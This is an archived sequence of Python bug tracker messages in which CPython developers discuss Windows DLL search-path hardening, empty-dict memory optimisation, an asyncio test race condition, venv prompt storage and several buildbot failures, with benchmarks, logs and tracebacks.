I'm very concerned that comments I've seen here, specifically

>> That will require rewriting many scripts and packages that use ctypes or cffi
>> to load DLLs. It would also break DLLs that internally rely on modifying PATH
>> for a delayed load, though I hope that's uncommon. I think it's easier for
>> everyone else if we implement this just for extension-module loading with the
>> LoadLibraryExW flags.
>
> Only if they're loading them via PATH. If they're using full paths they'll be 
> fine, and if they're using system DLLs they'll be fine. In both cases, the 
> fix will work (better) with existing versions.
>
>> Also, if I'm understanding your intention, loading an extension may fail when
>> Python is embedded if the process is using the legacy DLL search path.
>
> That's true. "import" will always use the secure flags, and so if you were 
> relying on PATH to locate dependencies of the extension module (note that 
> extension modules themselves are loaded by full path, so it doesn't apply to 
> them), you need to stop doing that.

imply that it's OK to break working code "because they are doing things 
wrongly". That's not how backward compatibility works - we should avoid 
breaking *any* working code, no matter how ill-advised it seems to be.

If it's necessary to break code that (say) uses ctypes to load a DLL via PATH, 
or an embedding application that relies on getting DLLs using PATH, then we 
need to follow PEP 387 and go through a deprecation cycle for the existing 
behaviour.

For the ctypes case I assume we can detect where we found the DLL being loaded, 
so warning that behaviour will change is certainly possible.

For the embedding case, we could (for example) add an API 
Py_UseSecureSearchPath(bool) that embedders should call to opt into the new 
search semantics. With an explicit opt-in, we can then migrate that to be the 
default over time - have the Python API warn for a release if called without 
the opt-in, and then switch the default to be the secure search path, with 
applications that want to use the old search path being able to opt out using 
Py_UseSecureSearchPath(FALSE) for a release or two.

That proposal is very much off the top of my head. But the point is that it's 
not impossible to make the transition follow the normal backward compatibility 
rules, and so we should do so.

Of course, far simpler would be to choose a solution which *doesn't* break 
existing code :-)

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35661] Store the venv prompt in pyvenv.cfg

[Brett Cannon]

Change by Brett Cannon :


--
assignee: brett.cannon -> cheryl.sabella

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue30040] new empty dict can be more small

[Raymond Hettinger]

Raymond Hettinger  added the comment:

> Hmm, while 2x faster temporal empty dict is nice, 
> 10% slower case can be mitigated.
> I will try more micro benchmarks and optimizations.

I hate to see you working so hard to make this work.  IMO, the effort is 
futile.  Dicts were intentionally designed to do a single memory allocation and 
memset(0) to be fully ready to store data.  This PR is undoing that decision 
and will make Python worse rather than better.  The PR is optimizing for the 
wrong thing.  The space used by empty dicts is something we care much less 
about than the cost of the first assignment.

No "mitigations" are going to help.  If there is a second malloc and we incur 
the cost of switching from sharing-to-non-sharing, that is additional work that 
will have be done by every single dictionary that actually gets used.  Nothing 
will get that lost work back.

FWIW, if we were going to optimize for space used by empty dicts, the table 
pointer could just be set to NULL.  That would be better than key sharing which 
is not only slower but also conceptually wrong (outside the context of instance 
creation, dicts will never be shared).

> For the record, legitimate case when many empty dicts are 
> created, and few are populated, is the collections-free 
> approach to defaultdict(dict):

While it is helpful to know that there is some possible application that would 
benefit, we don't optimize for the rare case, we optimize for the common case 
where dicts get used.  A substantial fraction of the language is implemented 
using dicts. For the most part, we use NULL values when the dict isn't actually 
needed; so, the normal case is that dicts do get used.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36085] Enable better DLL resolution

[Steve Dower]

Steve Dower  added the comment:

> The alternative ...

Is what I proposed in the first place. Adding the SetDefaultDllDirectories call 
to Py_Main (that is, NOT for embedders) is to ensure consistency throughout the 
process. It'll only affect extension module dependencies that do their own 
delay loading and currently rely on unsupported resolve paths.

Since everyone seems to have misunderstood at least part of the proposal, I'm 
not going to explain any more until I have a patch. Excluding boilerplate and 
docs, it'll be about ten lines of code.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35760] test_asyncio: test_async_gen_asyncio_gc_aclose_09() race condition

[Yury Selivanov]

Yury Selivanov  added the comment:

> I guess it fails only for less difference in time like 0.01 and 0.001.

Yeah, that's what I was thinking.  0.1 seconds is still too tight, a simple GC 
pause can skew the timers and break the test logic.

Maybe we should just increase the sleep to 0.5 or 1 second and hope that it 
will eliminate the race.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue30040] new empty dict can be more small

[Serhiy Storchaka]

Serhiy Storchaka  added the comment:

What about creating small dict using a dict display? E.g. {'a': None}.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36085] Enable better DLL resolution

[Eryk Sun]

Eryk Sun  added the comment:

> will this change just affect the embedded Python, or will it affect 
> the whole process

SetDefaultDllDirectories affects the whole process and cannot be reverted back 
to the legacy search path that includes "%SystemRoot%",  "%SystemRoot%\System" 
(the old 16-bit directory), the current working directory, and the PATH 
directories. Also, there's no LoadLibraryExW flag to use the legacy search 
path, either, so scripts and packages that use ctypes or cffi will have to be 
updated if they depend on PATH or changing the working directory. 

The alternative is to modify Python's importer to use the secure LoadLibraryExW 
flags (i.e. LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR | 
LOAD_LIBRARY_SEARCH_DEFAULT_DIRS), without affecting the rest of the process. 

LOAD_LIBRARY_SEARCH_DEFAULT_DIRS includes the application directory, the user 
directories added with AddDlldirectory or SetDllDirectoryW, and the System32 
directory. LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR prepends the directory of the 
target DLL, which must be passed as a fully-qualified path.

> The docs for SetDllDirectory seem to imply that there *is* a global
> impact

SetDllDirectoryW still works after calling SetDefaultDllDirectories, as long as 
we include either LOAD_LIBRARY_SEARCH_USER_DIRS or 
LOAD_LIBRARY_SEARCH_DEFAULT_DIRS. It only allows adding a single directory, so 
it's of limited use anyway.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35760] test_asyncio: test_async_gen_asyncio_gc_aclose_09() race condition

[Karthikeyan Singaravelan]

Karthikeyan Singaravelan  added the comment:

I changed sleep(0.01) to sleep(1) and even after 350 runs I couldn't see any 
failure in test. I guess it fails only for less difference in time like 0.01 
and 0.001.

$ ./python.exe -X dev -m test -j4 -F test_asyncgen -m 
test_async_gen_asyncio_gc_aclose_09
[snip]
0:02:46 load avg: 3.71 [356] test_asyncgen passed
0.660945396 del g
0.661572575 run sleeps 1000 ms...
1.664627785 1
0.666234736 finally sleeps 1 ms
0.667970371 0.001
0.669262596 finally sleeps 1 more ms
0.671174578 0.001
0.671972246 finally: DONE = 1--
1.668627272 run exit

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35661] Store the venv prompt in pyvenv.cfg

[Steve Dower]

Steve Dower  added the comment:

Maybe you can just call builder.create_configuration() from the test and pass 
in enough context that it doesn't have to create a real venv? That would also 
make the test faster.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35661] Store the venv prompt in pyvenv.cfg

[Steve Dower]

Steve Dower  added the comment:

It may also be that the directory exists already - the previous test explicitly 
removes it before calling create().

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36256] parser module fails on legal input

[Xavier Combelle]

Xavier Combelle  added the comment:

never used the parser module nor lib2to3. Does they have any advantage over 
ast.parse and ast module ?

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35760] test_asyncio: test_async_gen_asyncio_gc_aclose_09() race condition

[Yury Selivanov]

Yury Selivanov  added the comment:

Can you change "await asyncio.sleep(0.01)" to "await asyncio.sleep(1)" and 
check if the test still fails?  (IOW see if there's a bug in Python's async gen 
implementation or this is simply caused by slow CI bots).

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35760] test_asyncio: test_async_gen_asyncio_gc_aclose_09() race condition

[Karthikeyan Singaravelan]

Karthikeyan Singaravelan  added the comment:

I have modified the test with help of Victor to have lower sleep delay to 
reproduce the bug. Since sleep calls call_later with the delay where the Timer 
object is created time.monotonic() + delay. I have added a print statement to 
see when the sleep is scheduled.

Modified test with 0.01 for run and 0.001 for finally : 

def test_async_gen_asyncio_gc_aclose_09(self):
DONE = 0
import time

async def gen():
nonlocal DONE
try:
while True:
yield 1
finally:
print(time.monotonic(), "finally sleeps 1 ms")
await asyncio.sleep(0.001)
print(time.monotonic(), "finally sleeps 1 more ms")
await asyncio.sleep(0.001)
DONE = 1
print(time.monotonic(), "finally: DONE = 1--")

async def run():
g = gen()
await g.__anext__()
await g.__anext__()
print(time.monotonic(), "del g")
del g

print(time.monotonic(), "run sleeps 10 ms...")
await asyncio.sleep(0.01)
print(time.monotonic(), "run exit")

self.loop.run_until_complete(run())
self.assertEqual(DONE, 1)


./python.exe -X dev -m test -j4 -F test_asyncgen -m 
test_async_gen_asyncio_gc_aclose_09

On running the test I can see that sometimes sometimes DONE is set before run 
exit.

0:00:00 load avg: 1.87 [  1] test_asyncgen passed
0.738210762 del g
0.739222722 run sleeps 10 ms...
0.762559912001 0.01
0.757210842 finally sleeps 1 ms
0.76050695 0.001
0.762445572 finally sleeps 1 more ms
0.765119049 0.001
0.765694536 run exit
0.76704106 finally: DONE = 1--

sometimes DONE is set after run exit.

0:00:00 load avg: 1.87 [  2] test_asyncgen passed
0.739718657 del g
0.740647619 run sleeps 10 ms...
0.764014802 0.01
0.759427252 finally sleeps 1 ms
0.762613547 0.001
0.764573796 finally sleeps 1 more ms
0.767242878 0.001
0.767722044 run exit
0.769133638 finally: DONE = 1--


There are cases where run exit is called before second sleep is even called 
causing failure.

0:00:03 load avg: 1.96 [ 16/1] test_asyncgen failed
0.685123806 del g
0.685635626 run sleeps 10 ms...
0.698605025 0.01
0.69112447 finally sleeps 1 ms
0.700476131 0.001
0.701259052 run exit
0.702733814 finally sleeps 1 more ms
0.70500493 0.001
Task was destroyed but it is pending!
source_traceback: Object created at (most recent call last):

Sometimes the second sleep scheduled time and run exit time are almost the same 
by 1 ms.

0:00:04 load avg: 1.96 [ 18/2] test_asyncgen failed
0.701280462 del g
0.701810041 run sleeps 10 ms...
0.714906478 0.01
0.707617751 finally sleeps 1 ms
0.713339727 0.001
0.714532967 finally sleeps 1 more ms
0.716712187001 0.001
0.716623958 run exit
Task was destroyed but it is pending!


I am not sure at this point if I should further debug this at Lib/asyncio/ or 
at _asynciomodule.c regarding the control flow change related code when an 
object is awaited. I suspect there is a race condition here since the test 
seems to set DONE=1 with different control flows and also where DONE=1 is not 
even called. This is more easily reproducible at lower resolution of time like 
using 0.01 and 0.001 for this test so this feels more like the race condition 
is exposed at lower time levels and thus increasing the time difference between 
the test doesn't seem to be a good solution. 

The above test also fails in 3.6 but takes a long time before below trace 
occurs : 

0:00:42 load avg: 4.26 [159] test_asyncgen passed
16775.541152592 del g
16775.541369282 run sleeps 10 ms...
16775.542167311 finally sleeps 1 ms
16775.544090629 finally sleeps 1 more ms
16775.546002851 finally: DONE = 1--
16775.552762612 run exit
0:00:43 load avg: 4.26 [160/1] test_asyncgen failed
16775.529271686 del g
16775.529405 run sleeps 10 ms...
16775.529833951 finally sleeps 1 ms
16775.539453811 finally sleeps 1 more ms
16775.539972874 run exit
Task was destroyed but it is pending!
task:  wait_for=>
test test_asyncgen failed -- Traceback (most recent call last):
  File 
"/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/test/test_asyncgen.py",
 line 693, in test_async_gen_asyncio_gc_aclose_09
self.assertEqual(DONE, 1)
AssertionError: 0 != 1


Yury and Andrew, your thoughts would be helpful in debugging this issue and 
also to check the actual behavior to be tested in this case.

--
nosy: +asvetlov, yselivanov

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36264] os.path.expanduser should not use HOME on windows

[Steve Dower]

Steve Dower  added the comment:

> Guido intentionally added support for HOME in ntpath.expanduser way back in 
> Python 1.5 (circa 1997), and now we're removing it over 20 years later.

Wouldn't be the first thing to be removed :)

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36256] parser module fails on legal input

[Brett Cannon]

Brett Cannon  added the comment:

It's sounding like it might be worth the effort then to make lib2to3's parser 
not be a "hidden" thing in lib2to3, break it out as a new parser module (I have 
no stance on name), and then deprecate the old parser module. I think this was 
discussed at the last language summit when Christian proposed deprecating 
lib2to3 and everyone said the parser is too useful to lose.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36264] os.path.expanduser should not use HOME on windows

[Eryk Sun]

Eryk Sun  added the comment:

> `os.path.expanduser` in `ntpath` uses `HOME` in preference to 
> `USERPROFILE` / `HOMEDRIVE\\HOMEPATH`

Guido intentionally added support for HOME in ntpath.expanduser way back in 
Python 1.5 (circa 1997), and now we're removing it over 20 years later. I 
expect this to break some deployments, but it's not a serious problem. 

My feeling here is "meh". Practically all use of expanduser() is dubious in 
Windows, varying from going against convention to being completely wrong. We're 
long due for a module in the standard library that abstracts access to 
platform-specific configuration and special directories, but attempts to adopt 
one keep losing momentum. I guess it's too prone to bike shedding and arguments.

--
nosy: +eryksun

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue30040] new empty dict can be more small

[STINNER Victor]

Change by STINNER Victor :


--
nosy: +vstinner

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36229] Linear-time list, set, and bytearray ops.

[Brandt Bucher]

Brandt Bucher  added the comment:

Thank for the input, Serhiy. On point (1):

It's a valid concern... but I don't think it's necessarily a good enough reason 
to withhold a simple, yet *significant* performance increase for a common use 
case.

This reminds me of past CPython implementation details, such as ordered 
dictionaries in 3.6. Some users may errantly adopt problematic idioms that 
aren't strictly portable between implementations, but if you ask me the 
performance improvement (again, from quadratic to linear) for three common 
built-in types (I admit I'm being a bit generous to bytearray here ;) is well 
worth it.

Regarding (2): 

I believe that CPython lists only overallocate by something like 1/8, which in 
my opinion is a fairly conservative value. If the lists are large enough for 
this small preallocation to be a real memory burden, I would imagine that 
making the extra copies would be even worse.

And, if you ask me, list overallocation is a feature, not a bug!

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue10948] Trouble with dir_util created dir cache

[Ivan Tashev]

Ivan Tashev  added the comment:

distutils.dir_util is easily found in the documentation. If this behaviour is 
not fixed, at least the docs should state dir_util is not recommended for 
public use.

--
nosy: +ivtashev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue30040] new empty dict can be more small

[Inada Naoki]

Inada Naoki  added the comment:

Another micro benchmark:

$ ./py.edict.opt -m perf timeit --compare-to ./py.master.opt '{}' --duplicate=10
py.master.opt: . 26.3 ns +- 0.5 ns
py.edict.opt: . 13.0 ns +- 0.1 ns

Mean +- std dev: [py.master.opt] 26.3 ns +- 0.5 ns -> [py.edict.opt] 13.0 ns +- 
0.1 ns: 2.02x faster (-51%)

$ ./py.edict.opt -m perf timeit --compare-to ./py.master.opt 'd={}; 
d["a"]=None' --duplicate=10
py.master.opt: . 58.1 ns +- 0.9 ns
py.edict.opt: . 64.1 ns +- 0.9 ns

Mean +- std dev: [py.master.opt] 58.1 ns +- 0.9 ns -> [py.edict.opt] 64.1 ns +- 
0.9 ns: 1.10x slower (+10%)


Hmm, while 2x faster temporal empty dict is nice, 10% slower case can be 
mitigated.
I will try more micro benchmarks and optimizations.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35661] Store the venv prompt in pyvenv.cfg

[Cheryl Sabella]

Cheryl Sabella  added the comment:

Sorry about that.  I'll work on a fix and test it on the buildbots first.  

There are some tests with pyvenv.cfg that are skipped if it happens in a venv 
(@skipInVenv decorator), but the test right above this one (test_defaults) does 
not use the decorator and it checks pyvenv.cfg, so I think test_prompt might 
just need to do some cleanup first.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue34713] csvwriter.writerow()'s return type is undocumented

[Rémi Lapeyre]

Rémi Lapeyre  added the comment:

csvwriter.writerows() does not return anything.

The return value of csv.writecsv() is the return value of the write() method of 
the file object given as parameter in csv.writer(). I'm not sure it's safe to 
document it, should we return None instead?

--
nosy: +remi.lapeyre

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36273] test_thread leaks a core dump on PPC64 AIX 3.x

[Karthikeyan Singaravelan]

Karthikeyan Singaravelan  added the comment:

See also https://bugs.python.org/issue35828#msg337076 where 
test_multiprocessing_fork seemed to leave a core dump. Maybe one test core 
dumps and leaves the report to the other causing env changed?

--
nosy: +xtreak

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36205] Python 3.7 and 3.8 process_time is not reported correctly when built on older macOS versions

[Ned Deily]

Ned Deily  added the comment:

***
tip of master built on current macOS 10.14 - correct results:

3.8.0a2+ (heads/master:f45813df52, Mar 12 2019, 12:25:58)
[Clang 10.0.0 (clang-1000.11.45.5)]
macOS-10.14.3-x86_64-i386-64bit
monotonic: namespace(adjustable=False, implementation='mach_absolute_time()', 
monotonic=True, resolution=1e-09)
perf_counter: namespace(adjustable=False, 
implementation='mach_absolute_time()', monotonic=True, resolution=1e-09)
process_time: namespace(adjustable=False, 
implementation='clock_gettime(CLOCK_PROCESS_CPUTIME_ID)', monotonic=True, 
resolution=1.0002e-06)
thread_time: namespace(adjustable=False, 
implementation='clock_gettime(CLOCK_THREAD_CPUTIME_ID)', monotonic=True, 
resolution=1e-09)
time: namespace(adjustable=True, 
implementation='clock_gettime(CLOCK_REALTIME)', monotonic=False, 
resolution=1.0002e-06)
***

***
v3.8.0a2 python.org installer built on macOS 10.9 - INCORRECT results:

3.8.0a2 (v3.8.0a2:23f4589b4b, Feb 25 2019, 10:59:08)
[Clang 6.0 (clang-600.0.57)]
macOS-10.14.3-x86_64-i386-64bit
monotonic: namespace(adjustable=False, implementation='mach_absolute_time()', 
monotonic=True, resolution=1e-09)
perf_counter: namespace(adjustable=False, 
implementation='mach_absolute_time()', monotonic=True, resolution=1e-09)
process_time: namespace(adjustable=False, 
implementation='getrusage(RUSAGE_SELF)', monotonic=True, resolution=1e-06)
thread_time: not available
time: namespace(adjustable=True, implementation='gettimeofday()', 
monotonic=False, resolution=1e-06)
***

***
v3.6.8 python.org installer built on macOS 10.9 - correct results:

3.6.8 (v3.6.8:3c6b436a57, Dec 24 2018, 02:04:31)
[GCC 4.2.1 Compatible Apple LLVM 6.0 (clang-600.0.57)]
Darwin-18.2.0-x86_64-i386-64bit
monotonic: namespace(adjustable=False, implementation='mach_absolute_time()', 
monotonic=True, resolution=1e-09)
perf_counter: namespace(adjustable=False, 
implementation='mach_absolute_time()', monotonic=True, resolution=1e-09)
process_time: namespace(adjustable=False, 
implementation='getrusage(RUSAGE_SELF)', monotonic=True, resolution=1e-06)
thread_time: not available
time: namespace(adjustable=True, implementation='gettimeofday()', 
monotonic=False, resolution=1e-06)
***

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36216] urlsplit does not handle NFKC normalization

[Steve Dower]

Steve Dower  added the comment:

If it's fixed by not printing to the console, then it must be a refleak in 
print. Or perhaps in the test failure/repeat.

That PR is going to be merged as soon as AppVeyor finishes, so nothing to worry 
about here.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36273] test_thread leaks a core dump on PPC64 AIX 3.x

[STINNER Victor]

New submission from STINNER Victor :

PPC64 AIX 3.x:
https://buildbot.python.org/all/#/builders/10/builds/2224

0:12:47 [160/420/1] test_threading failed (env changed)
...
Ran 158 tests in 12.023s

OK (skipped=1)
Warning -- files was modified by test_threading
  Before: []
  After:  ['core']


I don't know if it's a regression or if it occurred in the past.

Michael: Can you please try to reproduce the issue? Any idea if it's new or not?

You can try to identify which test creates a core dump using:

$ ./python -m test.bisect_cmd --fail-env-changed test_thread -v

The command is supposed to find which test creates the "core" file.

--
components: Tests
messages: 337772
nosy: Michael.Felt, vstinner
priority: normal
severity: normal
status: open
title: test_thread leaks a core dump on PPC64 AIX 3.x
versions: Python 3.8

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35661] Store the venv prompt in pyvenv.cfg

[Steve Dower]

Steve Dower  added the comment:

Presumably the issue is in the test and not the main change itself.

Is this another case where Linux can't run venv tests inside a venv?

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36264] os.path.expanduser should not use HOME on windows

[Steve Dower]

Change by Steve Dower :


--
pull_requests: +12273

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36216] urlsplit does not handle NFKC normalization

[STINNER Victor]

STINNER Victor  added the comment:

Commit e37ef41289b77e0f0bb9a6aedb0360664c55bdd5 introduced a regression on 
AMD64 Windows8.1 Refleaks 2.7:

test_urlparse leaked [114, 114, 114] references, sum=342

https://buildbot.python.org/all/#/builders/33/builds/532

It is fixed by PR 12291.

You can test:

python -m test -R 3:3 test_urlparse

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35661] Store the venv prompt in pyvenv.cfg

[STINNER Victor]

STINNER Victor  added the comment:

This issue broke x86 Gentoo Installed with X 3.x buildbot:

https://buildbot.python.org/all/#/builders/103/builds/2208

ERROR: test_prompt (test.test_venv.BasicTest)
--
Traceback (most recent call last):
  File 
"/buildbot/buildarea/cpython/3.x.ware-gentoo-x86.installed/build/target/lib/python3.8/test/test_venv.py",
 line 123, in test_prompt
builder.create(self.env_dir)
  File 
"/buildbot/buildarea/cpython/3.x.ware-gentoo-x86.installed/build/target/lib/python3.8/venv/__init__.py",
 line 70, in create
self.setup_scripts(context)
  File 
"/buildbot/buildarea/cpython/3.x.ware-gentoo-x86.installed/build/target/lib/python3.8/venv/__init__.py",
 line 278, in setup_scripts
self.install_scripts(context, path)
  File 
"/buildbot/buildarea/cpython/3.x.ware-gentoo-x86.installed/build/target/lib/python3.8/venv/__init__.py",
 line 354, in install_scripts
with open(dstfile, 'wb') as f:
PermissionError: [Errno 13] Permission denied: 
'/buildbot/tmp/tmpdir/tmph7_oob5e/bin/Activate.ps1'

Please either fix or revert the change.

--
nosy: +vstinner
resolution: fixed -> 
status: closed -> open

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35218] decompressing and then re-compressing zipfiles with Python 3 zipfile loses flag_bits

[keeely]

keeely  added the comment:

You can take out the test.  It wasn't there before so who's going to care?

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue30040] new empty dict can be more small

[Inada Naoki]

Change by Inada Naoki :


--
nosy: +Mark.Shannon

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36236] Python crash on macOS when CWD is invalid

[STINNER Victor]

Change by STINNER Victor :


--
versions: +Python 3.8

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36236] Python crash on macOS when CWD is invalid

[STINNER Victor]

STINNER Victor  added the comment:

_Py_wgetcwd() call has been introduced by the following commit:

commit ee3784594b33c72c3fdca6a71892d22f14045ab6
Author: Nick Coghlan 
Date:   Sun Mar 25 23:43:50 2018 +1000

bpo-33053: -m now adds *starting* directory to sys.path (GH-6231) (#6236)

Historically, -m added the empty string as sys.path
zero, meaning it resolved imports against the current
working directory, the same way -c and the interactive
prompt do.

This changes the sys.path initialisation to add the
*starting* working directory as sys.path[0] instead,
such that changes to the working directory while the
program is running will have no effect on imports
when using the -m switch.

(cherry picked from commit d5d9e02dd3c6df06a8dd9ce75ee9b52976420a8b)

I don't think that it's correct to fail with a fatal error if the current 
directory no longer exist. Would it be possible to not add it to sys.path if it 
doesn't exist? Silently ignore the error.

@Nick: What do you think?

--
nosy: +ncoghlan

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue30040] new empty dict can be more small

[Inada Naoki]

Inada Naoki  added the comment:

> I don't think this should have been done.  Conceptually, there is no basis 
> for presuming key-sharing for new empty dicts -- you can't know what they 
> would share with.  
This patch essentially undoes the entire reason for having a pre-allocated 
minsize dict.  If it were deemed to be the norm that applications typically had 
huge numbers of empty dicts that were never populated, then the correct 
solution would be a NULL pointer to the table field (as dicts do).

It increases massive NULL checks, and possibly cause bugs.

> FWIW, the macro benchmarks aren't very informative here because they don't 
> exercise much of this code.  I think there is an over-prioritization of small 
> space savings at the expense of the intended use cases for dicts.  This patch 
> just forces every dict that gets used to have to convert back from a 
> key-sharing dict and do a memory allocation and memset(0) in the process.  
> The whole point of the minsize dict was to avoid that cost in the common case 
> of small dicts (i.e. passing keyword arguments).

Note that there is _PyDict_NewPresized().

When kwargs is empty, this patch increase dict creation speed.
When kwargs is not empty, temporary key-sharing table is not used because we 
use _PyDict_NewPresized() is used.

$ ./py.edict bm_edict.py --compare-to ./py.master
py.master: . 192 ns +- 7 ns
py.edict: . 175 ns +- 4 ns
Mean +- std dev: [py.master] 192 ns +- 7 ns -> [py.edict] 175 ns +- 4 ns: 1.10x 
faster (-9%)

py.master: . 269 ns +- 4 ns
py.edict: . 273 ns +- 2 ns
Mean +- std dev: [py.master] 269 ns +- 4 ns -> [py.edict] 273 ns +- 2 ns: 1.02x 
slower (+2%)

So I don't think net performance of kwargs doesn't get worse.

--
nosy:  -Mark.Shannon

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36085] Enable better DLL resolution

[Paul Moore]

Paul Moore  added the comment:

> > This bothers me - how will backward compatibility work in that case?
>
> The new search order is compatible with the old search order, so you can 
> update all your layouts to have DLL dependencies in suitable locations and 
> you'll be fine.

OK, cool. But one thing I'm not clear on, will this change just affect
the embedded Python, or will it affect the whole process - which would
mean that supporting an embedded Python 3.8 interpreter would mean
potentially reorganising the application layout. That may be quite a
cost, in some applications.

Note that this is all on the basis of "I don't understand the
implications, they should be documented" rather than being a specific
problem that I know will happen. My particular scenario, though, is an
application like Vim, that provides optional support for an "embedded
scripting" which may be any one of a number of Python versions, or
even other languages. In an application like that, costs for
supporting Python 3.8 may simply result in no (or delayed) support for
Python 3.8, rather than the application getting fixed.

> And if you're still writing code for Windows 7 with no security updates 
> installed, Python 3.8 isn't going to save you anyway.

Nobody's suggesting that it will. But maintaining *existing* code that
supports older Windows versions, while still allowing Python 3.8 to be
used as an embedded scripting language on systems that support it, is
an entirely reasonable proposal.

> > I really have no feel as to what practical impact there would be on an
> > embedded application.
>
> Since we're not going to change the default search directories for the entire 
> process when embedding

OK, if that's the case, then that alleviates most of my concerns. But
it really wasn't obvious to me, and it's something that I think should
be made clear in the docs, if only to reassure embedding applications
that Python isn't making global changes. The docs for SetDllDirectory
seem to imply that there *is* a global impact - "The SetDllDirectory
function affects all subsequent calls to the LoadLibrary and
LoadLibraryEx functions" (note - *all* subsequent calls, which implies
that behaviour will change for the embedding application once Python
has been loaded).

> the only practical impact is that your extension modules need to have their 
> dependent DLLs either:
> * in the system directory
> * adjacent to the .pyd file
> * in a directory added using AddDllDirectory

That seems fine, so let's just state that and keep things simple for
embedders to understand.

> And if the embedding application is already calling SetDefaultDllDirectories, 
> as has been recommended for years, then they're already experiencing this 
> change and won't have to update a thing.

Sadly, in my experience, an awful lot of projects (specifically, open
source projects that write mostly cross-platform code, with the
minimum of OS-specific differences) don't follow recommendations like
this. They use LoadLibrary without digging too deeply into the
implications or complexities, as long as it does what they want. And I
don't think MS helped themselves much here, either - the whole
business with SxS installs and assemblies was (IMO) *way* too much
complexity for most cross platform projects to bother with, and went
ignored. Even once things got simpler again, there remained a sense of
"don't go there, just get something that works". (And to be clear, I'm
not bashing on MS here - I find the Linux machinery around all of this
to be just as complex and confusing).

